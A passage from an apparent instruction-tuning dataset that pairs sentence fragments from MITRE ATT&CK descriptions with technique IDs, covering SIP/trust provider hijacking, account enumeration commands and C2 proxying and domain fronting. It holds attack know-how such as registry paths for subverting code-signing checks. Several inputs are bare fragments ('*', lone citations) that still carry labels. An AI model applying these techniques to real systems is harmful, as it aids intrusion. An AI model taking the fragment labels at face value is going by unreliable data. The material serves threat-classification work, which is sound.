code to execute on a system. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function).", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying the <code>DLL</code> and <code>Function</code>", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying the <code>DLL</code> and <code>Function</code> ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Note:**", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Note:** ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of email addresses and accounts.", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of email addresses and accounts. ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code>", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation:", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Black Hills Attacking Exchange MailSniper, 2016)", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Black Hills Attacking Exchange MailSniper, 2016) ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service.", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of cloud accounts.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of cloud accounts. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With authenticated access there are several tools that can be used to find accounts.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With authenticated access there are several tools that can be used to find accounts. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation:", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft msolrolemember)(Citation: GitHub Raindance)", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft msolrolemember)(Citation: GitHub Raindance) ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation:", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Black Hills Red Teaming MS AD Azure, 2018)", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Black Hills Red Teaming MS AD Azure, 2018) ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API) ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of domain accounts.", "output": "T1087.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of domain accounts. ### Response: T1087.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.", "output": "T1087.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. ### Response: T1087.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.", "output": "T1087.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups. ### Response: T1087.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of local system accounts.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of local system accounts. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS the <code>dscl .", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS the <code>dscl . ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "list /Users</code> command can be used to enumerate local accounts.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: list /Users</code> command can be used to enumerate local accounts. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools)", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To disguise the source of malicious traffic, adversaries may chain together multiple proxies. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Onion Routing)", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Onion Routing) ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as ICMP may be used as a transport.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as ICMP may be used as a transport. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the 